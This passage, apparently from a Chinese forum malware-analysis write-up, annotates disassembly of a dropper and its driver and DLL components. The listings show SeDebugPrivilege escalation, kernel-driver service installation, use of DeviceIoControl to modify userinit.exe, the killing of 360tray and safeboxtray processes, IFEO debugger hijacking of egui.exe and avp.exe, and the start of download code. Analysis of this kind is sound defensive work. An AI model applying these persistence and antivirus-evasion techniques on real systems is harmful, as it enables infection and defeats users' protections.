  67. 0040396D    50              push    eax
  68. 0040396E    8D45 90         lea     eax, dword ptr [ebp-70]
  69. 00403971    50              push    eax
  70. 00403972    8D45 F4         lea     eax, dword ptr [ebp-C]
  71. 00403975    50              push    eax
  72. 00403976    56              push    esi
  73. 00403977    FFD3            call    ebx                              ; 得到路径"%temp%\~74e66a.tmp"                          
  74. 00403979    56              push    esi
  75. 0040397A    68 10344000     push    00403410                         ; ASCII "ico"
  76. 0040397F    68 04344000     push    00403404
  77. 00403984    E8 27FEFFFF     call    004037B0                         ; 创建文件%temp%\~74e66a.tmp，查找自身资源“ico”中名为“D”的资源写入文件（一个驱动文件）
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]7.运行~7c963f.tmp

  1. 004036DA    57              push    edi
  2. 004036DB    50              push    eax
  3. 004036DC    E8 5E050000     call    00403C3F                         ; 解密字符串"\\.\ao1"
  4. 004036E1    8D85 F0FEFFFF   lea     eax, dword ptr [ebp-110]
  5. 004036E7    C70424 04010000 mov     dword ptr [esp], 104
  6. 004036EE    33FF            xor     edi, edi
  7. 004036F0    50              push    eax
  8. 004036F1    57              push    edi
  9. 004036F2    FF15 A4104000   call    dword ptr [4010A4]               ; kernel32.GetModuleFileNameA
  10. 004036F8    68 A8DE0000     push    0DEA8
  11. 004036FD    FF15 A8104000   call    dword ptr [4010A8]               ; 暂停57秒
  12. 00403703    6A 05           push    5
  13. 00403705    68 AC444000     push    004044AC                        
  14. 0040370A    FF15 AC104000   call    dword ptr [4010AC]               ; 运行~7c963f.tmp
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]8.提权

  1. 00403710    E8 4BFEFFFF     call    00403560                         ; 为进程提升SeDebugPrivilege权限
  3. 进入call代码
  4. 00403560    55              push    ebp
  5. 00403561    8BEC            mov     ebp, esp
  6. 00403563    83EC 14         sub     esp, 14
  7. 00403566    FF15 D4104000   call    dword ptr [4010D4]               ; kernel32.GetCurrentProcess
  8. 0040356C    8D4D FC         lea     ecx, dword ptr [ebp-4]
  9. 0040356F    51              push    ecx
  10. 00403570    6A 28           push    28
  11. 00403572    50              push    eax
  12. 00403573    FF15 0C104000   call    dword ptr [40100C]               ; ADVAPI32.OpenProcessToken
  13. 00403579    85C0            test    eax, eax
  14. 0040357B    74 40           je      short 004035BD
  15. 0040357D    8D45 F0         lea     eax, dword ptr [ebp-10]
  16. 00403580    56              push    esi
  17. 00403581    50              push    eax
  18. 00403582    33F6            xor     esi, esi
  19. 00403584    68 E0334000     push    004033E0                         ; ASCII "SeDebugPrivilege"
  20. 00403589    56              push    esi
  21. 0040358A    FF15 10104000   call    dword ptr [401010]               ; ADVAPI32.LookupPrivilegeValueA
  22. 00403590    85C0            test    eax, eax
  23. 00403592    74 1F           je      short 004035B3
  24. 00403594    56              push    esi
  25. 00403595    56              push    esi
  26. 00403596    8D45 EC         lea     eax, dword ptr [ebp-14]
  27. 00403599    56              push    esi
  28. 0040359A    50              push    eax
  29. 0040359B    56              push    esi
  30. 0040359C    FF75 FC         push    dword ptr [ebp-4]
  31. 0040359F    C745 EC 0100000>mov     dword ptr [ebp-14], 1
  32. 004035A6    C745 F8 0200000>mov     dword ptr [ebp-8], 2
  33. 004035AD    FF15 14104000   call    dword ptr [401014]               ; ADVAPI32.AdjustTokenPrivileges
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]9.创建服务zx并启动服务，并删除文件

  1. 0040366E    55              push    ebp
  2. 0040366F    8BEC            mov     ebp, esp
  3. 00403671    83EC 1C         sub     esp, 1C
  4. 00403674    FF75 08         push    dword ptr [ebp+8]
  5. 00403677    68 F4334000     push    004033F4                         ; ASCII "zx"
  6. 0040367C    E8 83FFFFFF     call    00403604                         ; 创建服务
  7. 代码：
  8. 00403652    FF15 00104000   call    dword ptr [401000]               ; ADVAPI32.CreateServiceA
  9.   
  10. 0012FDD4   00173170  |hManager = 00173170
  11. 0012FDD8   004033F4  |ServiceName = "zx"
  12. 0012FDDC   004033F4  |DisplayName = "zx"
  13. 0012FDE0   000F01FF  |DesiredAccess = SERVICE_ALL_ACCESS
  14. 0012FDE4   00000001  |ServiceType = SERVICE_KERNEL_DRIVER
  15. 0012FDE8   00000003  |StartType = SERVICE_DEMAND_START
  16. 0012FDEC   00000001  |ErrorControl = SERVICE_ERROR_NORMAL
  17. 0012FDF0   004045CC  |BinaryPathName = "%temp%\~74e66a.tmp"
  18. 0012FDF4   00000000  |LoadOrderGroup = NULL
  19. 0012FDF8   00000000  |pTagId = NULL
  20. 0012FDFC   00000000  |pDependencies = NULL
  21. 0012FE00   00000000  |ServiceStartName = NULL
  22. 0012FE04   00000000  \Password = NULL
  25. 00403681    59              pop     ecx
  26. 00403682    A3 D8464000     mov     dword ptr [4046D8], eax
  27. 00403687    85C0            test    eax, eax
  28. 00403689    59              pop     ecx
  29. 0040368A    74 25           je      short 004036B1
  30. 0040368C    8D4D E4         lea     ecx, dword ptr [ebp-1C]
  31. 0040368F    51              push    ecx
  32. 00403690    50              push    eax
  33. 00403691    FF15 28104000   call    dword ptr [401028]               ; 查询服务状态
  34. 00403697    85C0            test    eax, eax
  35. 00403699    74 06           je      short 004036A1                   ; 如果服务未启动跳004036A1
  36. 0040369B    837D E8 04      cmp     dword ptr [ebp-18], 4
  37. 0040369F    74 10           je      short 004036B1                   ; 如果服务已运行跳004036B1
  38. 004036A1    6A 00           push    0
  39. 004036A3    6A 00           push    0
  40. 004036A5    FF35 D8464000   push    dword ptr [4046D8]
  41. 004036AB    FF15 24104000   call    dword ptr [401024]               ; 开启服务
  42. 004036B1    FF75 08         push    dword ptr [ebp+8]
  43. 004036B4    FF15 C4104000   call    dword ptr [4010C4]               ; 删除文件
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]10.加载驱动，通过DeviceIoControl操作修改系统文件达到穿还原

  1. 00403736    68 00000080     push    80000000
  2. 0040373B    50              push    eax
  3. 0040373C    FF15 B0104000   call    dword ptr [4010B0]               ; 尝试打开一个设备"\\.\ao1"，如果设备不存在则通过CreateDevice、CreateSymbolicLink创建设备和符号连接
  4. 00403742    8BD8            mov     ebx, eax
  5. 00403744    83FB FF         cmp     ebx, -1
  6. 00403747    74 3D           je      short 00403786
  7. 00403749    FF15 B4104000   call    dword ptr [4010B4]               ; kernel32.GetCurrentThreadId
  8. 0040374F    393D 90444000   cmp     dword ptr [404490], edi
  9. 00403755    74 2F           je      short 00403786
  10. 00403757    A1 94444000     mov     eax, dword ptr [404494]
  11. 0040375C    3BC7            cmp     eax, edi
  12. 0040375E    74 26           je      short 00403786
  13. 00403760    8D4D F4         lea     ecx, dword ptr [ebp-C]
  14. 00403763    57              push    edi
  15. 00403764    51              push    ecx
  16. 00403765    57              push    edi
  17. 00403766    57              push    edi
  18. 00403767    FF35 D4464000   push    dword ptr [4046D4]
  19. 0040376D    50              push    eax
  20. 0040376E    68 1C002200     push    22001C
  21. 00403773    53              push    ebx
  22. 00403774    FF15 B8104000   call    dword ptr [4010B8]               ; 通过DeviceIoControl向系统发送控制码码IoControlCode为22001C，修改userinit.exe
  23. 0040377A    FF35 D0464000   push    dword ptr [4046D0]               ; gr.00407AA0
  24. 00403780    FF15 BC104000   call    dword ptr [4010BC]               ; kernel32.FreeResource
  25. 00403786    53              push    ebx
  26. 00403787    FF15 DC104000   call    dword ptr [4010DC]               ; kernel32.CloseHandle
  27. 0040378D    6A 04           push    4
  28. 0040378F    57              push    edi
  29. 00403790    56              push    esi
  30. 00403791    8B35 C0104000   mov     esi, dword ptr [4010C0]        
  31. 00403797    FFD6            call    esi                              ; 通过MoveFileExA移动文件%temp%\~74e66a.tmp达到重起删除
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]11.注册表映像劫持劫持egui.exe劫持指向services.exe

  1. 00403A76    E8 C4010000     call    00403C3F                         ; 解密字符串"egui.exe"
  2. 00403A7B    8D45 F4         lea     eax, dword ptr [ebp-C]
  3. 00403A7E    50              push    eax
  4. 00403A7F    E8 2B020000     call    00403CAF                         ; 将egui.exe劫持指向services.exe
  5. 进入call代码
  6. 00403CAF    55              push    ebp
  7. 00403CB0    8BEC            mov     ebp, esp
  8. 00403CB2    81EC D8000000   sub     esp, 0D8
  9. 00403CB8    56              push    esi
  10. 00403CB9    57              push    edi
  11. 00403CBA    6A 12           push    12
  12. 00403CBC    BE 60344000     mov     esi, 00403460                    ; ASCII "SOFTWARE\Microsoft\Windows NT\currentVersion\image file Execution options"
  13. 00403CC1    59              pop     ecx
  14. 00403CC2    8DBD 28FFFFFF   lea     edi, dword ptr [ebp-D8]
  15. 00403CC8    F3:A5           rep     movs dword ptr es:[edi], dword p>
  16. 00403CCA    66:A5           movs    word ptr es:[edi], word ptr [esi>
  17. 00403CCC    A4              movs    byte ptr es:[edi], byte ptr [esi>
  18. 00403CCD    33C0            xor     eax, eax
  19. 00403CCF    8DBD 73FFFFFF   lea     edi, dword ptr [ebp-8D]
  20. 00403CD5    AB              stos    dword ptr es:[edi]
  21. 00403CD6    AB              stos    dword ptr es:[edi]
  22. 00403CD7    AB              stos    dword ptr es:[edi]
  23. 00403CD8    8065 84 00      and     byte ptr [ebp-7C], 0
  24. 00403CDC    6A 1D           push    1D
  25. 00403CDE    66:AB           stos    word ptr es:[edi]
  26. 00403CE0    AA              stos    byte ptr es:[edi]
  27. 00403CE1    59              pop     ecx
  28. 00403CE2    33C0            xor     eax, eax
  29. 00403CE4    8D7D 85         lea     edi, dword ptr [ebp-7B]
  30. 00403CE7    F3:AB           rep     stos dword ptr es:[edi]
  31. 00403CE9    66:AB           stos    word ptr es:[edi]
  32. 00403CEB    AA              stos    byte ptr es:[edi]
  33. 00403CEC    8D85 28FFFFFF   lea     eax, dword ptr [ebp-D8]
  34. 00403CF2    50              push    eax
  35. 00403CF3    8D45 84         lea     eax, dword ptr [ebp-7C]
  36. 00403CF6    50              push    eax
  37. 00403CF7    FF15 74104000   call    dword ptr [401074]               ; kernel32.lstrcpyA
  38. 00403CFD    FF75 08         push    dword ptr [ebp+8]
  39. 00403D00    8D45 84         lea     eax, dword ptr [ebp-7C]
  40. 00403D03    50              push    eax
  41. 00403D04    FF15 D8104000   call    dword ptr [4010D8]               ; 连接字符串"SOFTWARE\Microsoft\Windows NT\currentVersion\image file Execution options"与"egui.exe"
  42. 00403D0A    8D45 FC         lea     eax, dword ptr [ebp-4]
  43. 00403D0D    50              push    eax
  44. 00403D0E    8D45 84         lea     eax, dword ptr [ebp-7C]
  45. 00403D11    50              push    eax
  46. 00403D12    68 02000080     push    80000002
  47. 00403D17    FF15 20104000   call    dword ptr [401020]               ; 创建注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\currentVersion\image file Execution options\egui.exe”
  48. 00403D1D    8B35 A8104000   mov     esi, dword ptr [4010A8]          ; kernel32.Sleep
  49. 00403D23    6A 01           push    1
  50. 00403D25    FFD6            call    esi
  51. 00403D27    6A 01           push    1
  52. 00403D29    FFD6            call    esi
  53. 00403D2B    BE F8324000     mov     esi, 004032F8                    ; ASCII "services.exe"
  54. 00403D30    56              push    esi
  55. 00403D31    FF15 6C104000   call    dword ptr [40106C]               ; kernel32.lstrlenA
  56. 00403D37    40              inc     eax
  57. 00403D38    50              push    eax
  58. 00403D39    56              push    esi
  59. 00403D3A    6A 01           push    1
  60. 00403D3C    6A 00           push    0
  61. 00403D3E    68 54344000     push    00403454                         ; ASCII "Debugger"
  62. 00403D43    FF75 FC         push    dword ptr [ebp-4]
  63. 00403D46    FF15 1C104000   call    dword ptr [40101C]               ; 设置注册表键值Debugger值为“services.exe”
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]文件: ~4a8d76.t[font=-apple-system, BlinkMacSystemFont, &quot]大小: 12288 字节[font=-apple-system, BlinkMacSystemFont, &quot]SHA1: 38BD179FF54C6D064533D88D9908C232DE8B125D[font=-apple-system, BlinkMacSystemFont, &quot]简单分析[font=-apple-system, BlinkMacSystemFont, &quot]1.尝试打开服务ccddc，如果服务存在则删除

  1. 10001010    FF15 1C300010   call    dword ptr [<&ADVAPI32.OpenSCMana>; 打开服务管理器
  2. 10001016    8BF8            mov     edi, eax
  3. 10001018    85FF            test    edi, edi
  4. 1000101A    74 33           je      short 1000104F
  5. 1000101C    68 FF010F00     push    0F01FF
  6. 10001021    68 20490010     push    10004920                         ; ASCII "ccddc"
  7. 10001026    57              push    edi
  8. 10001027    FF15 18300010   call    dword ptr [<&ADVAPI32.OpenServic>; 打开服务ccddc
  9. 1000102D    57              push    edi
  10. 1000102E    8B3D 14300010   mov     edi, dword ptr [<&ADVAPI32.Close>; ADVAPI32.CloseServiceHandle
  11. 10001034    8BF0            mov     esi, eax
  12. 10001036    FFD7            call    edi
  13. 10001038    85F6            test    esi, esi
  14. 1000103A    74 13           je      short 1000104F                   ; 若服务不存在跳1000104F
  15. 1000103C    53              push    ebx
  16. 1000103D    56              push    esi
  17. 1000103E    FF15 10300010   call    dword ptr [<&ADVAPI32.DeleteServ>; 如果服务存在则删除服务
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]2.创建服务ccddc

  1. 10001060    56              push    esi
  2. 10001061    57              push    edi
  3. 10001062    E8 99FFFFFF     call    10001000
  4. 10001067    68 3F000F00     push    0F003F
  5. 1000106C    6A 00           push    0
  6. 1000106E    6A 00           push    0
  7. 10001070    FF15 1C300010   call    dword ptr [<&ADVAPI32.OpenSCMana>; ADVAPI32.OpenSCManagerA
  8. 10001076    8BF0            mov     esi, eax
  9. 10001078    85F6            test    esi, esi
  10. 1000107A    74 53           je      short 100010CF
  11. 1000107C    8A4C24 10       mov     cl, byte ptr [esp+10]
  12. 10001080    8B4424 0C       mov     eax, dword ptr [esp+C]
  13. 10001084    FEC9            dec     cl
  14. 10001086    6A 00           push    0
  15. 10001088    F6D9            neg     cl
  16. 1000108A    6A 00           push    0
  17. 1000108C    6A 00           push    0
  18. 1000108E    1BC9            sbb     ecx, ecx
  19. 10001090    6A 00           push    0
  20. 10001092    83E1 FE         and     ecx, FFFFFFFE
  21. 10001095    6A 00           push    0
  22. 10001097    50              push    eax
  23. 10001098    83C1 03         add     ecx, 3
  24. 1000109B    6A 01           push    1
  25. 1000109D    51              push    ecx
  26. 1000109E    6A 01           push    1
  27. 100010A0    68 FF010F00     push    0F01FF
  28. 100010A5    68 20490010     push    10004920                         ; ASCII "ccddc"
  29. 100010AA    68 20490010     push    10004920                         ; ASCII "ccddc"
  30. 100010AF    56              push    esi
  31. 100010B0    FF15 20300010   call    dword ptr [<&ADVAPI32.CreateServ>; 创建服务ccddc
  32. 100010B6    56              push    esi
  33. 100010B7    8B35 14300010   mov     esi, dword ptr [<&ADVAPI32.Close>; ADVAPI32.CloseServiceHandle
  34. 100010BD    8BF8            mov     edi, eax
  35. 100010BF    FFD6            call    esi
  36. 100010C1    85FF            test    edi, edi
  37. ……
  38. 100010E0    56              push    esi                              ; kernel32.CreateFileA
  39. 100010E1    57              push    edi
  40. 100010E2    68 3F000F00     push    0F003F
  41. 100010E7    6A 00           push    0
  42. 100010E9    6A 00           push    0
  43. 100010EB    FF15 1C300010   call    dword ptr [<&ADVAPI32.OpenSCMana>; ADVAPI32.OpenSCManagerA
  44. 100010F1    8BF0            mov     esi, eax
  45. 100010F3    85F6            test    esi, esi
  46. 100010F5    74 53           je      short 1000114A
  47. 100010F7    68 FF010F00     push    0F01FF
  48. 100010FC    68 20490010     push    10004920                         ; ASCII "ccddc"
  49. 10001101    56              push    esi
  50. 10001102    FF15 18300010   call    dword ptr [<&ADVAPI32.OpenServic>; 打开服务ccddc
  51. 10001108    56              push    esi
  52. 10001109    8B35 14300010   mov     esi, dword ptr [<&ADVAPI32.Close>; ADVAPI32.CloseServiceHandle
  53. 1000110F    8BF8            mov     edi, eax
  54. 10001111    FFD6            call    esi
  55. 10001113    85FF            test    edi, edi
  56. 10001115    74 33           je      short 1000114A
  57. 10001117    53              push    ebx
  58. 10001118    6A 00           push    0
  59. 1000111A    6A 00           push    0
  60. 1000111C    57              push    edi
  61. 1000111D    FF15 24300010   call    dword ptr [<&ADVAPI32.StartServi>; 启动服务
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]3.加载驱动

  1. 1000131B    68 30490010     push    10004930                         ; ASCII "\\.\ccddc"
  2. 10001320    FFD6            call    esi                              ; 尝试打开一个设备"\\.\ccddc"
  3. 10001322    83F8 FF         cmp     eax, -1
  4. 10001325    A3 1C490010     mov     dword ptr [1000491C], eax
  5. 1000132A    75 0A           jnz     short 10001336                   ; 如果设备不存在跳10001336
  6. 1000132C    32C0            xor     al, al
  7. 1000132E    5E              pop     esi
  8. 1000132F    81C4 08010000   add     esp, 108
  9. 10001335    C3              retn
  10. 10001336    8D5424 04       lea     edx, dword ptr [esp+4]
  11. 1000133A    6A 00           push    0
  12. 1000133C    52              push    edx
  13. 1000133D    6A 00           push    0
  14. 1000133F    6A 00           push    0
  15. 10001341    6A 00           push    0
  16. 10001343    6A 00           push    0
  17. 10001345    68 48201080     push    80102048
  18. 1000134A    50              push    eax
  19. 1000134B    FF15 A0300010   call    dword ptr [<&KERNEL32.DeviceIoCo>; 通过DeviceIoControl操作向驱动发送80102048的IoControlCode
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]4.查找进程safeboxtray.exe和360tray.exe，如果存在则TerminateProcess结束进程，通过驱动通信恢复SSDT

  1. 10001D55    55              push    ebp
  2. 10001D56    51              push    ecx
  3. 10001D57    895424 2C       mov     dword ptr [esp+2C], edx
  4. 10001D5B    894424 30       mov     dword ptr [esp+30], eax
  5. 10001D5F    E8 3CF7FFFF     call    100014A0                       ; 解密字符串“360tray.exe”
  6. 10001D64    8D5424 24       lea     edx, dword ptr [esp+24]
  7. 10001D68    52              push    edx
  8. 10001D69    E8 32F7FFFF     call    100014A0                       ; 解密字符串“safeboxtray.exe”
  9. 10001D6E    83C4 08         add     esp, 8
  10. 10001D71    C74424 0C 00000>mov     dword ptr [esp+C], 0
  11. 10001D79    6A 00           push    0
  12. 10001D7B    6A 02           push    2
  13. 10001D7D    E8 EA020000     call    <jmp.&KERNEL32.CreateToolhelp32S>;创建系统快照
  14. 10001D82    8BE8            mov     ebp, eax
  15. 10001D84    83FD FF         cmp     ebp, -1
  16. 10001D87    896C24 08       mov     dword ptr [esp+8], ebp
  17. 10001D8B    75 0A           jnz     short 10001D97
  18. 10001D8D    33C0            xor     eax, eax
  19. 10001D8F    5D              pop     ebp
  20. 10001D90    81C4 54010000   add     esp, 154
  21. 10001D96    C3              retn
  22. 10001D97    8D4424 30       lea     eax, dword ptr [esp+30]
  23. 10001D9B    56              push    esi
  24. 10001D9C    50              push    eax
  25. 10001D9D    55              push    ebp
  26. 10001D9E    C74424 3C 28010>mov     dword ptr [esp+3C], 128
  27. 10001DA6    E8 BB020000     call    <jmp.&KERNEL32.Process32First>
  28. 10001DAB    8B35 90300010   mov     esi, dword ptr [<&KERNEL32.Close>; kernel32.CloseHandle
  29. 10001DB1    85C0            test    eax, eax
  30. 10001DB3    0F84 93000000   je      10001E4C
  31. 10001DB9    8B2D 5C300010   mov     ebp, dword ptr [<&KERNEL32.lstrc>; kernel32.lstrcmpiA
  32. 10001DBF    53              push    ebx
  33. 10001DC0    8B1D 58300010   mov     ebx, dword ptr [<&KERNEL32.Termi>; kernel32.TerminateProcess
  34. 10001DC6    57              push    edi
  35. 10001DC7    8B3D A0300010   mov     edi, dword ptr [<&KERNEL32.Devic>; kernel32.DeviceIoControl
  36. 10001DCD    EB 06           jmp     short 10001DD5
  37. 10001DCF    8B2D 5C300010   mov     ebp, dword ptr [<&KERNEL32.lstrc>; kernel32.lstrcmpiA
  38. 10001DD5    8D4C24 2C       lea     ecx, dword ptr [esp+2C]
  39. 10001DD9    8D5424 60       lea     edx, dword ptr [esp+60]
  40. 10001DDD    51              push    ecx
  41. 10001DDE    52              push    edx
  42. 10001DDF    FFD5            call    ebp                              ; 比较
  43. 10001DE1    8BD0            mov     edx, eax
  44. 10001DE3    8D4424 20       lea     eax, dword ptr [esp+20]
  45. 10001DE7    F7DA            neg     edx
  46. 10001DE9    1BD2            sbb     edx, edx
  47. 10001DEB    8D4C24 60       lea     ecx, dword ptr [esp+60]
  48. 10001DEF    42              inc     edx
  49. 10001DF0    50              push    eax
  50. 10001DF1    51              push    ecx
  51. 10001DF2    895424 24       mov     dword ptr [esp+24], edx
  52. 10001DF6    FFD5            call    ebp                              ; 比较
  53. 10001DF8    8B5424 1C       mov     edx, dword ptr [esp+1C]
  54. 10001DFC    F7D8            neg     eax
  55. 10001DFE    1BC0            sbb     eax, eax
  56. 10001E00    40              inc     eax
  57. 10001E01    0BD0            or      edx, eax
  58. 10001E03    74 32           je      short 10001E37                   ; 如果不存在跳10001E37
  59. 10001E05    8D4424 18       lea     eax, dword ptr [esp+18]
  60. 10001E09    6A 00           push    0
  61. 10001E0B    50              push    eax
  62. 10001E0C    A1 1C490010     mov     eax, dword ptr [1000491C]
  63. 10001E11    8D4C24 18       lea     ecx, dword ptr [esp+18]
  64. 10001E15    6A 04           push    4
  65. 10001E17    51              push    ecx
  66. 10001E18    8D5424 54       lea     edx, dword ptr [esp+54]
  67. 10001E1C    6A 04           push    4
  68. 10001E1E    52              push    edx
  69. 10001E1F    68 00010000     push    100
  70. 10001E24    50              push    eax
  71. 10001E25    FFD7            call    edi                              ; 通过DeviceIoControl向设备发送操作码，恢复SSDT
  72. 10001E27    8B4C24 10       mov     ecx, dword ptr [esp+10]
  73. 10001E2B    6A 00           push    0
  74. 10001E2D    51              push    ecx
  75. 10001E2E    FFD3            call    ebx                              ; TerminateProcess结束进程
  76. 10001E30    8B5424 10       mov     edx, dword ptr [esp+10]
  77. 10001E34    52              push    edx
  78. 10001E35    FFD6            call    esi
  79. 10001E37    8B6C24 14       mov     ebp, dword ptr [esp+14]
  80. 10001E3B    8D4424 3C       lea     eax, dword ptr [esp+3C]
  81. 10001E3F    50              push    eax
  82. 10001E40    55              push    ebp
  83. 10001E41    E8 1A020000     call    <jmp.&KERNEL32.Process32Next>    
  84. 10001E46    85C0            test    eax, eax
  85. 10001E48  ^ 75 85           jnz     short 10001DCF                    ; 跳10001DCF比较下一个  
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]5.创建线程，主线程挂起

  1. 10001CE6    FF15 50300010   call    dword ptr [<&KERNEL32.CreateThre>; kernel32.CreateThread
  2. 10001CEC    8BF0            mov     esi, eax
  3. 10001CEE    6A FF           push    -1
  4. 10001CF0    56              push    esi
  5. 10001CF1    FF15 4C300010   call    dword ptr [<&KERNEL32.WaitForSin>; kernel32.WaitForSingleObject
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]线程执行[font=-apple-system, BlinkMacSystemFont, &quot]注册表映像劫持avp.exe

  1. 77DCBCF7    E8 E82CFEFF     call    RegCreateKeyExA
  2. 00C9FE70   80000002  |hKey = HKEY_LOCAL_MACHINE
  3. 00C9FE74   00C9FF10  |Subkey = "SOFTWARE\Microsoft\Windows NT\currentVersion\image file Execution options\avp.exe"
  4. 00C9FE78   00000000  |Reserved = 0
  5. 00C9FE7C   00000000  |Class = NULL
  6. 00C9FE80   00000000  |Options = REG_OPTION_NON_VOLATILE
  7. 00C9FE84   02000000  |Access = 2000000
  8. 00C9FE88   00000000  |pSecurity = NULL
  9. 00C9FE8C   00C9FEB0  |pHandle = 00C9FEB0
  10. 00C9FE90   00000000  \pDisposition = NULL
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]设置参数Debugger的值为“services.exe”

  1. 100014FD    BE 48490010     mov     esi, 10004948                    ; ASCII "SOFTWARE\Microsoft\Windows NT\currentVersion\image file Execution options"
  2. 10001502    8D7C24 0C       lea     edi, dword ptr [esp+C]
  3. 10001506    33C0            xor     eax, eax
  4. 10001508    F3:A5           rep     movs dword ptr es:[edi], dword p>
  5. 1000150A    66:A5           movs    word ptr es:[edi], word ptr [esi>
  6. 1000150C    A4              movs    byte ptr es:[edi], byte ptr [esi>
  7. 1000150D    894424 57       mov     dword ptr [esp+57], eax
  8. 10001511    B9 1D000000     mov     ecx, 1D
  9. 10001516    894424 5B       mov     dword ptr [esp+5B], eax
  10. 1000151A    8D7C24 69       lea     edi, dword ptr [esp+69]
  11. 1000151E    894424 5F       mov     dword ptr [esp+5F], eax
  12. 10001522    8D5424 68       lea     edx, dword ptr [esp+68]
  13. 10001526    66:894424 63    mov     word ptr [esp+63], ax
  14. 1000152B    884424 65       mov     byte ptr [esp+65], al
  15. 1000152F    884424 68       mov     byte ptr [esp+68], al
  16. 10001533    F3:AB           rep     stos dword ptr es:[edi]
  17. 10001535    66:AB           stos    word ptr es:[edi]
  18. 10001537    8D4C24 0C       lea     ecx, dword ptr [esp+C]
  19. 1000153B    51              push    ecx
  20. 1000153C    52              push    edx
  21. 1000153D    AA              stos    byte ptr es:[edi]
  22. 1000153E    FF15 2C300010   call    dword ptr [<&KERNEL32.lstrcpyA>] ; kernel32.lstrcpyA
  23. 10001544    8B8424 E4000000 mov     eax, dword ptr [esp+E4]
  24. 1000154B    8D4C24 68       lea     ecx, dword ptr [esp+68]
  25. 1000154F    50              push    eax
  26. 10001550    51              push    ecx
  27. 10001551    FF15 54300010   call    dword ptr [<&KERNEL32.lstrcatA>] ; kernel32.lstrcatA
  28. 10001557    8D5424 08       lea     edx, dword ptr [esp+8]
  29. 1000155B    8D4424 68       lea     eax, dword ptr [esp+68]
  30. 1000155F    52              push    edx
  31. 10001560    50              push    eax
  32. 10001561    68 02000080     push    80000002
  33. 10001566    FF15 04300010   call    dword ptr [<&ADVAPI32.RegCreateK>; ADVAPI32.RegCreateKeyA
  34. 1000156C    68 10400010     push    10004010                         ; ASCII "services.exe"
  35. 10001571    FF15 80300010   call    dword ptr [<&KERNEL32.lstrlenA>] ; kernel32.lstrlenA
  36. 10001577    8B4C24 08       mov     ecx, dword ptr [esp+8]
  37. 1000157B    40              inc     eax
  38. 1000157C    50              push    eax
  39. 1000157D    68 10400010     push    10004010                         ; ASCII "services.exe"
  40. 10001582    6A 01           push    1
  41. 10001584    6A 00           push    0
  42. 10001586    68 3C490010     push    1000493C                         ; ASCII "Debugger"
  43. 1000158B    51              push    ecx
  44. 1000158C    FF15 08300010   call    dword ptr [<&ADVAPI32.RegSetValu>; 设置参数Debugger的值为"services.exe"
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]退出线程

  1. 7C80B714    E8 CF090000     call    ExitThread
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]文件: ~7c963f.exe[font=-apple-system, BlinkMacSystemFont, &quot]大小: 6656 字节[font=-apple-system, BlinkMacSystemFont, &quot]SHA1: CE83672B18A84470059B78815D864DCA04507B2D[font=-apple-system, BlinkMacSystemFont, &quot]简单分析：[font=-apple-system, BlinkMacSystemFont, &quot]1.判断自身是否为userinit.exe

  1. 004012E4  |.  6A 64         push    64                               ; /BufSize = 64 (100.)
  2. 004012E6  |.  33DB          xor     ebx, ebx                         ; |
  3. 004012E8  |.  50            push    eax                              ; |PathBuffer
  4. 004012E9  |.  53            push    ebx                              ; |hModule => NULL
  5. 004012EA  |.  66:A5         movs    word ptr es:[edi], word ptr [esi>; |
  6. 004012EC  |.  FF15 0C104000 call    dword ptr [<&KERNEL32.GetModuleF>; \获取自身完整路径
  7. 004012F2  |.  8D45 E8       lea     eax, dword ptr [ebp-18]
  8. 004012F5  |.  50            push    eax
  9. 004012F6  |.  E8 96000000   call    00401391                         ; 解密字符串“userinit”.
  10. 004012FB  |.  8D45 E8       lea     eax, dword ptr [ebp-18]
  11. 004012FE  |.  50            push    eax                              ; /s2
  12. 004012FF  |.  8D85 4CFFFFFF lea     eax, dword ptr [ebp-B4]          ; |
  13. 00401305  |.  50            push    eax                              ; |s1
  14. 00401306  |.  E8 610A0000   call    <jmp.&MSVCRT.strstr>             ; \比较自身是否为userinit.exe
  15. 0040130B  |.  83C4 0C       add     esp, 0C
  16. 0040130E  |.  85C0          test    eax, eax
  17. 00401310  |.  74 21         je      short 00401333                   ; 如果不是跳00401333
  18. 00401312  |.  BE AC114000   mov     esi, 004011AC                    ;  ASCII "宏哓刎纫"
  19. 00401317  |.  8D7D F4       lea     edi, dword ptr [ebp-C]
  20. 0040131A  |.  A5            movs    dword ptr es:[edi], dword ptr [e>
  21. 0040131B  |.  A5            movs    dword ptr es:[edi], dword ptr [e>
  22. 0040131C  |.  8D45 F4       lea     eax, dword ptr [ebp-C]
  23. 0040131F  |.  50            push    eax
  24. 00401320  |.  A4            movs    byte ptr es:[edi], byte ptr [esi>
  25. 00401321  |.  E8 6B000000   call    00401391
  26. 00401326  |.  59            pop     ecx
  27. 00401327  |.  8D45 F4       lea     eax, dword ptr [ebp-C]
  28. 0040132A  |.  6A 05         push    5                                ; /ShowState = SW_SHOW
  29. 0040132C  |.  50            push    eax                              ; |CmdLine
  30. 0040132D  |.  FF15 08104000 call    dword ptr [<&KERNEL32.WinExec>]  ; \如果是则运行explorer.exe方式为SW_SHOW（隐藏）
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]2.动态加载urlmon.dll导出URLDownloadToFileA函数

  1. 00401BD3    55              push    ebp
  2. 00401BD4    8BEC            mov     ebp, esp
  3. 00401BD6    83EC 20         sub     esp, 20
  4. 00401BD9    56              push    esi
  5. 00401BDA    57              push    edi
  6. 00401BDB    FF15 44104000   call    dword ptr [<&KERNEL32.GetTickCou>; kernel32.GetTickCount
  7. 00401BE1    BE A0124000     mov     esi, 004012A0
  8. 00401BE6    8D7D E0         lea     edi, dword ptr [ebp-20]
  9. 00401BE9    A5              movs    dword ptr es:[edi], dword ptr [e>
  10. 00401BEA    A5              movs    dword ptr es:[edi], dword ptr [e>
  11. 00401BEB    A5              movs    dword ptr es:[edi], dword ptr [e>
